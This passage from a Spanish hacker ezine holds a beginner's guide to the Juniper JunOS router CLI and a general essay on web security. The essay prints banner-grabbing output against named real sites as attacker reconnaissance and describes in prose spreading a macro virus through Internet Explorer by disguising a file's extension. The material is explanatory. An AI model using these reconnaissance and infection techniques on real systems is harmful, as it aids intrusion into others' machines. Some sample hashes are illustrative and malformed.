]-============================================================= ==================================== == indice == ==================================== == == == 1.- Introduccion == == 1.1.- Juniper Networks == == 1.2.- Junos == == 2.- JunOS == == 3.- CLI == == 3.1- Introduccion a CLI == == 3.2- ¿Que es CLI? == == 3.3- Manejo basico de CLI == == 4.- Comandos y terminaciones == == 5.- JunOScript == == 6.- Algunos Routers == == 7.- Despedida == == == ==================================== 1.- Introduccion ================ Hola, soy TaSeH, y creo articulos :PPP, bueno como novato en este mundo no espereis mucho de este articulo, me refiero a que no espereis cosas tecnicas sobre JunOS, porque, como su titulo indica, esto solo es una introduccion. Si el articulo te parece falto de contenidos, no me explico bien en algo o cosas por el estilo, recurre a el e-mail Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla o a el IRC, suelo estar por #netsearch. Espero que tengas en cuenta, que soy novato en esto, y no seas muy critico... :P. Tambien espero que os guste el articulo... 1.1- Juniper Networks ===================== Juniper Networks es una empresa afincada en Sunnyvale, California, presidida por Scott Kriens y su fin es el de acabar con el monopolio de cisco en fabricacion y venta de routers y otros dispositivos de red. Juniper Networks es el resultado de inversiones de 3Com, Nortel, Ericsson y Siemens/Newbridge... entre otras empresas de gran capital, todos con un interes comercial. Por ejemplo, Ericsson, quiere apoyo de Juniper Networks para sus infraestructuras de internet movil, etc... Fundada en 1996 en California, no fue sino hasta 1998 que esta firma lanzo su producto base: el router M40 para backbone. El 25 de junio de 1999 la empresa comenzo a cotizar en la bolsa de Nueva York, con una valuacion de 34 dolares por accion. Su crecimiento fue tal que para septiembre de 2000, el precio trepo a 244 dolares. Gracias a las ventas de los primeros seis meses del año pasado escalo 54 posiciones en la lista de las Silicon Valey 150, para colocarse en el numero 87. Esto no fue la unica razon para que su nombre apareciera en el candelero; ayudo su avance en el terreno de los routers IP y el hecho de arrebatar parte de la participacion de mercado de Cisco. Aunque sus productos resultan ser mas costosos, ofrecen mayores velocidades de acceso, una caracteristica apreciada por las empresas de telecomunicacion, ISP y carriers. Esta ventaja le ha permitido un crecimiento de 22% en el mercado mundial de los routers, en tanto Cisco ha visto decrecer su participacion de 80% a 75%. Los analistas esperaban que para finales del 2000 Juniper tuviera 25% del mercado de routers, con ventas de 500 millones de dolares y utilidades por 100 millones de dolares. 1.2.- ¿Que es JunOS? ==================== - Junos: "Dios Romano de dos cabezas, una que miraba atras para el año que habia pasado, y la otra adelante hacia el nuevo año". El junos sobre el que trata este articulo, es mucho mas moderno, no es romano, si no yanqui, y no es ningun dios. Junos es un sistema operativo para routers Juniper, o como lo llaman sus propios creadores "software para internet". 2.- JunOS ========= Bueno, no voy a hablar de caracteristicas tecnicas de JunOS, prefiero hablar de su manejo. Para manejar JunOS, podemos recurrir a la CLI, o a JunOScript. De esto hablaremos un poco mas abajo... 3.- CLI ======= 3.1- Introduccion ================= Junos es una version de Unix BSD, pero no es necesario conocer Unix para manejarlo, ya que, si bien es posible acceder a este sistema, toda la gestion de router se hace desde un entorno especifico, el CLI, mucho mas facil de manejar y desde el cual se tiene acceso a todas las herramientas de depuracion y al editor que permite modificar la configuracion por medio de unos sencillos comandos de facil utilizacion. 3.2- ¿Que es CLI? ================= Posiblemente alguien piense que CLI es un diminutivo de Clippo, esa estupida "mascota" de office, creada por los habiles ingenieros de Microsoft... Pues no, gracias a Dios, CLI no tiene que ver nada con tal pesadilla. CLI significa "Command Line Interface", que en español significa algo como "Interfaz de la Linea de Comandos". CLI, es el lazo de union entre nuestro router y nosotros, es una herramienta imprescincible para imperar a la maquina. Es como un lenguaje, un idioma que solo sabemos interpretar nosotros y la maquina. JunOS, presenta muchas mejoras en relacion al IOS de cisco, entre ellas esta la facilidad de uso de CLI. Aunque las primeras versiones de JunOS fueran muy por debajo del IOS, ahora lo superan con creces. 3.3- Manejo de CLI ================== El manejo de la linea de comandos de JunOS, es facil, hasta un niño pequeño podria ponerse a manejar JunOS perfectamente. El CLI es indicado por la presencia de el prompt ">", precedido por el nombre de usuario, y el nombre del router, por ejemplo: user@host> Si estas pensando... Que feo es el prompt... Haz como yo, cada vez que inicias una sesion en Junos escribe los siguiente... user@host> set cli prompt TaSeH@EsDios> y como prompt nos quedara esto... TaSeH@EsDios> ...Bonito eh? A partir de que aparezca el simbolo del sistema, ya podemos teclear los comandos que queramos ejecutar, siempre con la misma sintaxis: user@host> [Comando]+[Terminacion]+[Terminacion]+...(Si es necesario) En algunos casos, no es necesario introducir tantas terminaciones, tambien a veces es necesario introducir datos. Si estamos empezando a familiarizarnos con JunOS, seria bueno que detras de cada comando y/o terminacion, escribieramos un espacio y "?", para ver las posibles opciones que hay a nuestra disposicion. - Ejemplo al canto: Command: file ? Possible completions: copy Copy files (local or remote) delete Delete files from the system (local) list List file information (local) rename Rename files (local) show Display file contents (local) En junos no necesitaremos la tecla para nada, todo es mucho mas facil... Si con la nostalgia de la tecla a veces la tecleamos sin querer nos aparecera algo como esto: syntax error, expecting . o algo parecido.. Es como si te diera una colleja, para que te des cuenta de que has pulsado :). Con solo saber esto, ya puedes manejar junos. ;). 4.- Comandos y terminaciones ============================ Para manejar JunOS, es necesario tener cierta una idea de como funciona la interfaz de la linea de comandos, tambien es muy util saber como son los comandos. Bueno, pues he decidido poner aqui la lista de comandos y terminaciones primarias. No he decidido traducir las explicaciones, debido a que asi es como os va a aparecer en JunOS. Este es el listado de comandos y sus terminaciones primarias: ============================================================================ Comando: ? Posibles terminaciones: file Perform file operations help Provide help information quit Exit the management session request Make system-level requests set Set CLI properties, date, time, craft display text show Show information about the system test Diagnostic debugging commands Comando: file ? Posibles terminaciones: copy Copy files (local or remote) delete Delete files from the system (local) list List file information (local) rename Rename files (local) show Display file contents (local) Comando: help ? Posibles terminaciones: reference Reference material topic Help for high level topics Comando: request ? Posibles terminaciones: message Send a text message to other users Comando: set ? Posibles terminaciones: cli Set CLI control flags Comando: show ? Posibles terminaciones: aps Show APS information arp Show system ARP table entries as-path Show table of known AS paths bgp Show information about BGP chassis Show chassis information cli Show command-line interface settings configuration Show configuration file contents connections Show CCC connections dvmrp Show information about DVMRP firewall Show firewall counters and information igmp Show information about IGMP ilmi Show ILMI information interfaces Show interface information isis Show information about IS-IS ldp Show information about LDP mpls Show information about MPLS msdp Show information about MSDP multicast Show multicast information ntp Show Network Time Protocol information ospf Show information about OSPF pfe Show packet forwarding engine data pim Show information about PIM policy Show policy information firewall Show firewall counters and information igmp Show information about IGMP ilmi Show ILMI information interfaces Show interface information isis Show information about IS-IS ldp Show information about LDP mpls Show information about MPLS msdp Show information about MSDP multicast Show multicast information ntp Show Network Time Protocol information ospf Show information about OSPF pfe Show packet forwarding engine data pim Show information about PIM policy Show policy information rip Show information about RIP route Show routing table information rsvp Show information about RSVP sap Show session advertisement addresses snmp Show SNMP information system Show system information task Show routing protocol per-task information ted Show information about TED version Show software process revision levels vrrp Show VRRP information Comando: test ? Posibles terminaciones: interface Interface test commands msdp MSDP Peer debugging policy Import and export policy evaluation ============================================================================ Este es el listado de comandos, sin todas las terminaciones, y sin traducir. Si te interesa el tema, puedes mandarme un e-mail pidiendome que te envie la lista completa de comandos y terminaciones, o pidiendome los comandos en español, pero como el articulo no pretende ser tecnico, solo una introduccion, he decidido no meter mucho rollo para no aburrir a demasiada gente... :PPPP. Si deseas practicar un poco, no tienes mas que acceder a la siguiente direccion, haciendo telnet, o mediante ftp: ========================================================== == olive.labs.pulltheplug.com - (209.9.44.209) == == Juniper Router - JUNOS 4.4R1.5 - l/p : guest/guest == ========================================================== - Para mas info visita http://www.pulltheplug.com. 5.-JunOScript ============= 5.1.- ¿Que es JunOScript? JunOScript es una API, en XML, que sirve para comunicarnos con el router con el que estemos trabajando. Como este articulo es una introduccion, no voy a meter mucho rollo. Si sabes programar en XML, observaras que es un lenguaje muy agil en cuanto a la relaccion cliente-servidor, en este caso, relaccion router-usuario, por lo tanto muy apto para la finalidad que buscan los ingenieros de Juniper Networks. CLI: show bgp neighbor 10.168.1.112 JunOScript: 10.168.1.112 5.1.- Perl Scripting con JUNOScript. ==================================== Muy facil, crear un cgi escrito en Perl que de salida a un documento XML, que la maquina interpretara. Visitar www.juniper.net... y ya me rallo... 6.- Algunos routers ============================ Bueno, he decidido poner una pequeña lista de routers Juniper, para que veais un poco, como son, alguna caracteristica, etc... Hay distintas versiones de JunOS, en funcion del router que se este usando, esto tambien es una ventaja en relacion a cisco. M5 y M10: Se consideran la gama baja de routers Juniper, estan hechos para trabajar a 5Gbps y 10Gbps respectivamente. M20: Bueno... este router es lo standard, M40: Fue el primer router que puso a la venta Juniper Networks, nah, como bien dice su nombre designado pa trabajar con 40Gbps. Juniper, provee de esos routers a empresas importantes como NOOS, o tiscali. M160: El super router, el producto estrella, designado para grandes y potentes redes, fibra optica y tal... Se estan adquiriendo muchos de este tipo para la red europea de fibra optica Si quieres mas informacion sobre estos routers, hay un pdf con las caracteristicas de cada uno en la web de Juniper Networks. 7.-Despedida ============ Si tienes alguna sujerencia, queja, felicitacion, peticion, o insulto especialmente reservado para mi, hazmelo saber a traves de mi e-mail: Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla . Hasta el proximo articulo, espero seguir escribiendo para NetSearch, y para vosotros, los que me leeis. Este es el comienzo de una gran amistad xDDD. Saludos a QuasaR, RaiSe, Sp4rK... y a todo el staff de NetSearch en general. Saludos tambien a la gente de Disidents, ya mucha, mucha gente que todavia no conozco, pero, espero conocer y hacer buenos amigos... Un saludazo a {^DaNi^}, que sabe mucho de todas estas cosas... ;). 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x17 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Seguridad en la WWW ]-=================================================== =-[ por Memonix ]-=========================================================== --[1]-- Introduccion Este articulo pretende tratar de dar los conceptos generales sobre temas de seguridad referentes a la WWW, aunque se ha de recordar que todos los puntos tratados en este documento se ven desde una perspectiva general ya que cada uno de ellos seria suficiente para hacer un documento entero, a la vez que hay muchos temas que no seran tratados. Los problemas de seguridad de la WWW se podria decir que son de los mas interesantes, ya que estos mismos se extienden a mas gente que otros protocolos, debido a que para la mayoria de la gente Internet es la Web. Los servidores Web estan continuamente en peligro, expuestos a robo de informacion como a destruccion de ficheros siendo uno de los blancos preferidos por los intrusos. A su vez estos servidores ofrecen nuevos servicios a la gente mediante el uso de CGI scripts, los cuales suelen ser escritos por programadores expertos pero no muy habiles en temas de seguridad, siendo estos una de las principales fuentes de quebraderos de cabeza. En terminos generales se podria hablar de 3 causas de los fracasos en Internet referentes a la seguridad: 1. La falta de uso de criptografia apropiada 2. Fallos en el codigo de los programas 3. Errores de configuracion Este pequeño resumen viene a explicar la gran verdad de que "la seguridad esta condenada a fallar", ya que cuestiones como el punto 2 estan mas alla de nuestras posibilidades como simples usuarios, mientras que cuestiones como la 1 se escapan del control de los administradores de los servidores y sistemas, debido a que no pueden controlar la conducta de sus usuarios, siendo para estos ultimos muy facil el no hacer caso. Para empezar a trazar un plan de defensa ,hay que decidir que estas protegiendo y su precio, al igual que saber quienes son realmente los enemigos; se podria decir que una de las mejores estrategias es una mezcla de seguras tecnicas de control y el poder proporcionar una buena educacion en cuestiones de seguridad a los usuarios, intentando evitar la proliferacion de usuarios desprevenidos los cuales suelen seguir instrucciones al pie de la letra para mismamente descargar un programa de internet regalando a menudo sus claves; pero no siempre hay que seguir instrucciones para estar en peligro, ya que a veces el peligro viene con la forma de un navegador con componentes por defecto inapropiados como pudiera ser la ejecucion automatica de java, podremos ver bonitas animaciones pero pueden ocurrir extraños sucesos a nuestras espaldas. Desde el punto de vista de la seguridad Java es demasiado complejo y como resultado ha tenido varios fallos, (complejidad y seguridad no se llevan bien), lo que puede llevar a la existencia de "grietas" que viene a unirse al hecho de que los servidores web son muy complejos tanto para programadores como administradores, siendo una de las mejores soluciones el uso de la criptografia la cual protege sin dar muchos problemas, aunque algunos protocolos criptograficos han tenido fallos tambien. En cuanto a este tema los servidores y exploradores la han usado teniendo en algunos paises restricciones del gobierno en cuanto al tamaño de la clave, habiendo habido fallos que han permanecido durante años. --[2]-- Un poco de historia Pero no por ello todo son desgracias ya que hay muchas formas de establecer una web segura, estableciendo permisos de ficheros, mediante certificaciones criptograficas de autorizacion, etc. Ante este escenario muchos se preguntaran de el porque de tantos fallos, lo cual tiene una sencilla explicacion. El rapido crecimiento de Internet hizo que la seguridad fuese añadida como algo adicional, sin prestarle demasiada importancia, donde las actuales amenazas fueron introducidas a lo largo de cada una de las distintas fases de su desarrollo y los errores previos no siempre fueron corregidos; se podria decir que la Web ha heredado todos los fallos de seguridad de internet, ya que sus desarrolladores se precipitaron creando un rico entorno pero pasando por alto vulnerabilidades. La verdad es que los fallos de los principios de la web al interactuar con antiguas y modernas caracteristicas de la misma hacen que aumenten los peligros; antiguamente y aun hoy en dia, se podia falsificar correo conociendo el protocolo SMTP, los servidores ftp dejaban el sistema de archivos completamente vulnerable, con telnet las contraseñas eran transmitidas sin ningun tipo de proteccion, habia fallos en la implementacion del protocolo TCP/IP que permitian crear direcciones ip falsas (lo cual era muy util ya que muchas aplicaciones usaban esa informacion para autentificarse), averiguando el numero de secuencia TCP se podia espiar una conexion o uno de los ataques mas interesantes ,el DNS Spoofing mediante el cual si se conseguia alterar la direccion ip asignada a un nombre de servidor se podia hacer pasar por el. Pues bien toda esta coleccion de fallos esta todavia presente en nuestros dias, a pesar de que es conocida desde hace mucho, lo que nos da una idea de la importancia que se le asigno a la seguridad en aquellos lejanos tiempos. Pero sin duda alguna la mayor amenaza reside en el entorno homogeneo del cliente y el servidor, ya que usan los mismos programas y protocolos, lo que hace Internet posible constituye su mayor debilidad toda una paradoja, y un buen ejemplo de ello fue el archifamoso gusano de Morris el cual aprovechando un fallo en el demonio fingerd infecto miles de ordenadores de todo el mundo, tambien debido en gran parte a que es imposible eliminar todos los fallos de programacion en los programas grandes tipo sendmail el cual se ejecuta con privilegios del sistema, habiendosele encontrado fallos en los ultimos 10 años. Por lo tanto la introduccion del protocolo HTTP y del formato HTML han añadido nuevas amenazas a las ya existentes, ya que ahora un fallo en Netscape afectaria a mas ordenadores que si hubiese existido en la epoca del gusano de Morris. Dentro de estas nuevas amenazas nos encontramos con los CGI scripts que introducen nuevos y serios asuntos de seguridad, estos mismos sirven para procesar la informacion que facilitamos en el servidor, pero con ellos los usuarios pueden crear sus propios fallos para usarlos contra la gente, se suelen ejecutar con privilegios lo que les da el control del servidor; algunos de estos scripts tienen fallos que pueden ser explotados por algun cliente para comprometer al servidor, ya que algunos mandan los datos de entrada directamente al interprete de comandos, lo que podria llevar a poder ejecutar codigo arbitrario en el servidor, obtener informacion de correo privado, cambiar datos en la maquina, cerrar el servidor teniendo que ser reiniciado, etc. --[3]-- Problematica Cliente - Servidor Una vez que se han ejecutado scripts en el servidor, el siguiente paso es ejcutar scripts en el cliente, ya que una forma de reducir la carga en un servidor es mandar scripts a todos sus clientes para que los ejecuten localmente, siendo el ejemplo mas general los scripts en java lo que nos lleva al peligroso concepto de ejecutar codigo de una localizacion arbitraria ya que hay formas de romper el chequeo de verificacion para permitir ejecutar codigo arbitrario y todo esto aunque los creadores de java se esforzaron en la seguridad desde el principio es una realidad, pero la cuestion es que un cliente web que corra con java activado es vulnerable a ser atacado y esta opcion suele estar "sorprendentemente" activada por defecto. Pero no solo esta java como una posible amenaza, tambien nos podemos encontrar con Javascript, el cual resulta ser todo un problema para poder ser identificado por los firewalls, siendo mas dificil de bloquear ademas de que en cuestiones de seguridad ha sido menos estudiado que java; tambien existen lenguajes de script como activeX o Inferno (al igual que el s.o) que se encuentra en desarrollo por parte de los Laboratorios Bell, toda una maraña en la que no es dificil perderse. Las principales amenazas ante las que nos podemos encontrar pueden ser clasificadas de una forma bastante general en: a)Integridad: modificacion de datos, programas tanto del usuario como del servidor, pudiendo tomar el control del ordenador; una posible solucion seria usar una llave criptografica de chequeo, Message Authentication Codes (MACs). b)Confidencialidad: robo de informacion del cliente, servidor, configuracion de la red, etc. Usando la Web esta informacion esta en peligro, ya que casi todos los exploradores tienen un cache con los sitios visitados, lo cual se podria resolver mediante la encriptacion y el uso de web proxies. c)DoS: impedimiento de acceso a recursos, mediante Dns Spoofing se puede aislar a un host reencaminando todos sus paquetes, hay algunos tipos de ataque faciles de hacer como el bombardeo mediante paquetes lo que llevaria a un gran gasto de la CPU al tener que procesar continuamente mensajes basura, un servidor puede ser desbordado con peticiones y el servicio para los usuarios legitimos se retrasa o anula ya que algunos servidores limitan el numero de conexiones simultaneas, tambien se podria conseguir rellenando el disco o la memoria del ordenador atacado. d)Autentificacion: suelen estar basados en la direccion ip, ya que hay metodos para suplantarlas, habiendo tambien a su vez protocolos criptograficos vulnerables a estos ataques, aun asi la mejor solucion es el uso de tecnicas criptograficas. Pero no acaba aqui todo ya que hay mas tipos de amenazas un poco mas dificiles de definir, por ejemplo se pueden adquirir nombres de dominio como www.ibn.com o www.whitehouse.org (la verdadera es .com) ,que pueden servir para robar clientes o mandar a posibles victimas mediante un link a una web bajo el control del atacante sin necesidad de falsificar ningun nombre de dominio. Otro ataque de denegacion de servicio mas peligroso que los anteriormente mencionados y mas dificil de detectar, seria "matar" un pequeño numero de paquetes entre el ordenador blanco y otra maquina ,siendo el efecto una conexion muy lenta ya que los protocolos de alto nivel retransmitirian estos paquetes ,siendo atribuida esta lentitud a redes lentas o a ordenadores ocupados. En cuanto a cuestiones de privacidad, al conectarnos a una web esta tiene bastante informacion acerca de nosotros, para esto hay sitios como www.anonymizer.com que actuan como proxy pero solo te protegen ante el destino final, el cual veria que alguien quiere conectar desde anonymizer, pero el trafico entre tu ordenador y anonymizer seguiria conteniendo la informacion de los sitios en los que has estado. Otros peligros ya mas referentes al explorador, serian leer correo desde el mismo lo cual es una imprudencia, por ejemplo si un atacante descubriese un nuevo fallo en java y quisiera obligar a un usuario a ejecutar un script maligno, podria meter el applet en una web y enviarnosla y el explorador la ejecutaria automaticamente. Otra cuestion seria la de no aceptar nunca bajar automaticamente las actualizaciones de los programas, ya que mediante un ataque de DNS se podria contactar con la maquina del atacante bajando una version del programa con un troyano, lo cual se evitaria con el uso de firmas digitales. A su vez toda persona que desee establecer una pagina web, debe de intentar conocer las ventajas e inconvenientes de todos los servidores web que hay en el mercado para aprender sobre los fallos que son mas comunes en estos a la vez que se ha de preocupar para configurar este mismo de la mejor forma posible, intentando ofrecer solo los servicios imprescindibles. Un aspecto muy importante es el ir actualizando los servidores segun se van sacando parches para vulnerabilidades conocidas, ya que un atacante podria hacer algo tal que asi : [memonix@ragnarok memonix]$ ./quehttpd www.microsoft.com Que httpd V 0.1.1-Revision is part of the Lorian Project. Coded at "The Lorian Project" HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 17 May 2001 21:41:59 GMT Connection: close Content-Length: 0 Accept-Ranges: bytes DASL: DAV: 1, 2 Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Cache-Control: private [memonix@ragnarok memonix]$ ./quehttpd www.phpnuke.org Que httpd V 0.1.1-Revision is part of the Lorian Project. Coded at "The Lorian Project" HTTP/1.1 200 OK Date: Thu, 17 May 2001 14:34:59 GMT Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2 OpenSSL/0.9.6 PHP/4.0.4pl1 Content-Length: 0 Allow: GET, HEAD, OPTIONS, TRACE Connection: close [memonix@ragnarok memonix]$ ./quehttpd www.nsa.gov Que httpd V 0.1.1-Revision is part of the Lorian Project. Coded at "The Lorian Project" HTTP/1.1 200 OK Date: Thu, 17 May 2001 21:56:58 GMT Server: Apache/1.3.11 (Unix) Content-Length: 0 Allow: GET, HEAD, OPTIONS, TRACE Connection: close Donde un atacante no tendria nada mas que comprobar que dicha version no contiene ninguna vulnerabilidad la cual podria estar sin parchear, lo que le facilitaria el trabajo en gran parte. --[4]-- Distribucion de software seguro Ante estos problemas de la distribucion de software seguro en internet hay soluciones, algunas mas complicadas como seria que el distribuidor hiciese firmas digitales para todos los ficheros, lo que seria algo complejo ya que necesitaria toda una infraestructura de llave publica; otra solucion al problema seria Betsi, una clave publica la cual ha sido diseñada por expertos como Phil Zimmermman el autor de PGP y con la colaboracion de grandes empresas como Netscape, Betsi requiere que los usuarios obtengan software criptografico como PGP y MD5. El metodo a seguir seria el siguiete, los autores se registrarian con Betsi y ofrecerian Betsi con una llave publica, luego Betsi verificaria su identidad; una vez que los autores se han registrado pueden comunicarse seguramente porque ellos pueden repartir copias validas a otras llaves publicas; cuando se tiene un fichero que distribuir el crea un certificado de peticion para el fichero, la solicitud contendra detalles como el nombre del autor, del fichero a ser certificado, etc. Entonces el autor firmaria la peticion con su clave privada y la mandaria a Betsi. Un ejemplo de una peticion seria: - - - - - BEGIN PGP SIGNED MESSAGE - - - - - Author Name:Some Author Author Organization:Software Company, Inc. Hash function:MD5 Date of certificate creation:12/20/00 fef16954e74a219b1bcg67f22511b25 distribution.tar.Z e2ab456tdb50ce66e44db501b33ef12 archive.tar.Z - - - - - BEGIN PGP SIGNED MESSAGE - - - - - Version:2.6.3 iQcsDergYg9 / ZcZbZbmffgfAQVG / hjuYGF89v7Qtu66HjuYT22 gjhkioYhj955pOlkiUY78VFQ89 / kuujGG 988jNH76GHy557YujI9 76HJybj5gjTUjh8jhjj987JHJHG87yj25koyh+kk98JUHy654GHbcd5 00Ghyd8H80= =2Y8u - - - - - END PGP SIGNATURE - - - - - Betsi recibiria el mensaje y verificaria la firma asegurandose de que es autentico, pudiendo detectar cualquier modificacion del mensaje. Betsi responde al autor con un certificado de integridad digital diciendo que el nombre del autor esta registrado y que ha solicitado un certificado seguro de enlace a los archivos. Un ejemplo de un certificado seria: - - - - - BEGIN PGP SIGNED MESSAGE - - - - - Betsi Certificate CA:Betsi Version 1.0 Author Name:Some Author Author Organization:Software Company, Inc. Hash function:MD5 Date of certification creation:5/10/00 fef16954e74a219b1bcg67f22511b25 distribution.tar.Z e2ab456tdb50ce66e44db501b33ef12 archive.tar.Z - - - - - BEGIN PGP SIGNATURE - - - - - Version:2.7 Yunn87bgY / ju87JijhJHG789Mko00FGY65bH09 / k98IKJ78Hgg Kio09Jhgb675Bh89Kij89 / jiu+00Juyh7UHjhUghhB76700LLpYU GHJ88Ikbh89j7hKKLFF00Mji98bvHJ76nbJLLpmKK8800GfFF / Juh ju78HGt= =pYLY - - - - - END PGP SIGNATURE - - - - - El autor verifica que el certificado es correcto y que la firma ha sido verificada. Entonces se hace disponible la distribucion de los archivos. El usuario puede comprobar que los ficheros no han cambiado verificando el certificado de integridad con la clave publica de Betsi. Otras soluciones pueden ser proporcionadas por mecanismos como Authenticode de Microsoft o Cryptolopes de IBM. --[5]-- Exploradores En la mayoria de los exploradores las opciones de configuracion se almacenan en un unico fichero organizado por modulos, lo que supone un riesgo ya que si un atacante puede modificarlo tendria pleno control sobre cuestiones tan importantes como SSL, pudiendo por ejemplo hacer que el explorador usase una version mas debil del protocolo que la que el usuario habia especificado. Otras malas ideas que pueden conllevar que nuestra seguridad sea rota son por ejemplo activar las opciones de recordar las contraseñas de acceso al servidor, aceptar cookies por defecto, almacenar las paginas que han sido recibidas mediante SSL ya que el atacante al reemplazar todos los certificados en el disco local estaria minando SSL totalmente. Respecto a los lenguajes Java y Javascript en el caso de Netscape estan habilitados, lo cual es una de las peores decisiones de Netscape en cuanto a seguridad, ya que tiene demasiados fallos de seguridad como para ejecutar codigo sin confianza en internet; una buena idea seria permitir unicamente los applets firmados con una llave privada donde la publica fuese suministrada por el usuario, la unica pero gran pega a esta solucion es que necesitaria que los usuarios tuviesen un nivel de conocimientos no muy aproximado al que posee realmente la gente en general. En cuanto al Internet Explorer se podria decir que tienen una ventaja sobre Netscape y es que los usuarios de IE lo son seguramente tambien de Windows, por lo que interactuan entre si de una forma mas facil que Netscape con cualquier otra plataforma en la que corra. Otro tema interesante es el de los controles ActiveX que son componentes de software incluidos en las webs; cuando se visita una web que los usa estos controles son bajados automaticamente y instalados en el cliente mediante un tipo especial de certificado. Sorprendentemente la opcion por defecto suele estar activada para permitir ejecutar tanto componentes de ActiveX como programas de Java, estando otra vez la conveniencia por encima de la seguridad. IE tambien dispone de un establecimiento de los niveles de seguridad, aunque estos a la hora de la verdad afectan poco a la seguridad, lo que crea una falsa sensacion de seguridad en los usuarios que les puede llevar a cometer mas imprudencias de las aconsejables. Centrandonos mas en cuanto a posibles amenazas, IE puede ser usado para propagar virus, un ejemplo podria ser un atacante el cual ha creado un documento de Word con un virus de macro en su interior, llamandose el archivo por ejemplo regalo.dot, renombrandolo mas tarde a regalo.class, despues de esto lo meteria en una web poniendo un enlace a este archivo y redireccionando la pagina a otra despues de x segundos, la victima al visitar la web y ir al enlace que lleva al archivo veria como este mismo no se ejecutaria como un programa java debido a que el formato es erroneo, pero el archivo en cuestion se guardaria en el disco de la victima, llegado a este punto el redireccionamiento tendria lugar y la victima llegaria a la nueva pagina, la cual tendria un enlace que apuntaria al archivo en cuestion guardado en el disco, el explorador reconoceria el contenido y ejecutaria automaticamente el Word y la macro infectada se ejecutaria. Para finalizar y para aguar un poco la alegria a los usuarios de IE, habria que decir que lo dicho anteriormente en este apartado sobre IE de que Microsoft tenia una cierta ventaja sobre Netscape no es del todo cierto, ya que Netscape tiene a su vez una cierta ventaja sobre IE en ordenadores con Windows, ya que al haber sido escritos por los mismos desarrolladores estos han explotado llamadas al sistema y otras caracteristicas de Windows que no estan disponibles para otros desarrolladores, por lo que la estrecha "relacion" existente entre entre el explorador y el sistema operativo hacen posible la existencia de agujeros los cuales no afectarian a los usuarios de Netscape. --[6]-- Cookies Los exploradores suelen almacenar cookies en la maquina del cliente, siendo estos un grupo de atributos que pueden ser añadidos en la respuesta HTTP del servidor. Cuando un cliente solicita una URL el explorador comprueba si hay cookies almacenados correspondientes a esa localizacion, y en el caso de que sean encontrados son mandados junto con la peticion ya que contienen informacion importante para el servidor sobre el cliente, teniendo por lo tanto muchas posibles aplicaciones para los intereses del servidor y siendo tambien util para reducir la carga en el servidor ya que este no tiene porque almacenar todos los cookies. Como se puede apreciar los cookies suponen una amenaza contra la privacidad de los usuarios, se podria desabilitar esta opcion en el explorador pero nos encontramos con numerosos sitios que mandan multiples cookies cada cierto intervalo de tiempo, no dejando visualizar correctamente la web si estos no son aceptados por el cliente. Hay ciertos limites en cuanto a los cookies: - 300 cookies como maximo puede almacenar el cliente - 4 KB por cookie, es el tamaño maximo - 20 cookies por servidor o dominio Los cookies son mandados al cliente cuando se ha ejecutado un script en el servidor, conteniendo una cabecera Set-cookie la cual contiene cinco valores siendo solo el primero obligatorio, siendo de la forma. Set-cookie: NAME=VALUE; expires=DATE; domain=DOMAIN_NAME; path=PATH; secure El proceso seria de la siguiente forma: 1. El cliente solicita un archivo de un servidor, la respuesta contiene la cabecera Set-Cookie: User=Memonix; path=/; expires=Monday; 13-Dec-2001 8:15:00 2. El cliente almacena el cookie en su HD 3. El cliente mas tarde vuelve al mismo servidor para acceder a otro archivo donde el explorador mandaria Cookie: User=Memonix 4. Si el cliente vuelve el dia de expiracion del cookie, el explorador mandaria lo siguiente con la peticion Cookie: User=Memonix; account=checking 5. El cliente solicita otra pagina y recibe en la respuesta Set-Cookie: last-deposit=900; path=/accounting Asi seguiria el proceso ... Por lo tanto estos cookies permiten a los servidores almacenar una gran cantidad de informacion sobre los usuarios para fines comerciales en la mayoria de los casos, tambien se ha de notar que estos son mandados en claro en ambas direcciones, por lo que varios tipos de ataques pueden afectar al mecanismo entero desde destruir todos los cookies que se nos envia hasta sobreescribir valores en estos mismos. --[7]-- Java Java como se ha dicho ha introducido muchas mejoras a la hora de diseñar una pagina web, pero tambien esta ampliamente demostrado que los applets de Java pueden llegar a violar la seguridad de una maquina y llegar a ejecutar codigo arbitrario en ella. Al leer esto cualquier persona se podria preguntar el porque de hablar de la seguridad de Java, ya que no es ni mas ni menos que un lenguaje de programacion mas como pueda serlo C o Pascal, y ante esa posible pregunta se podria contestar con que Java tiene la capacidad de compilar codigo en plataformas independientes, cuando se habla del entorno de seguridad de Java se esta hablando de los controles de acceso de codigo en Java recibido de un "desconocido", por lo que estos fragmentos de codigo o applets han de ser ejecutados en un entorno controlado del que no puedan "escapar", a este entorno se le suele denominar sandbox, lo que no quiere decir que este sandbox nos vaya a proteger de cualquier fragmento de codigo maligno porque es incierto. Dentro de este entorno llamado "sandbox", el desarrollador se encarga de decidir cuales seran las acciones que los applets pueden desarrollar, Javasoft se ha encargado de establecer una clasificacion relacionando entornos de ejecucion con el estado de seguridad. Mas estricto ----------> Menos estricto --------------------------------------------------------------------------- NN NL AN AL JS Read file in /home/me, acl.read=null no no no si si Read file in /home/me, acl.read=/home/me no no si si si Write file in /tmp, acl.write=null no no no si si Write file in /tmp acl.write=/tmp no no si si si Get file into,acl.read=null acl.write=null no no no si si Get file.into,acl.read=/home/me acl.write=/tmp no no si si si Delete file,using File.delete() no no no no si Delete file,using exec /usr/bin/rm no no no si si Read the user.name property no si no si si Connect to port on the third host no si no si si Load library no si no si si Exit(-1) no no no si si Create a pop-up window without a warning no si no si si Donde : NN --> Netscape Navigator cargando applets en la red NL --> Netscape Navigator cargando applets desde el disco local AN --> Appletviewer JDK cargando applets en la red AL --> Appletviewer JDK cargando applets desde el disco local JS --> Java stand-alone aplications Supuestamente los applets provenientes de la maquina local son mucho mas seguros o estan mas "autentificados" que los que vienen de la red, pero para esto los intrusos disponen de 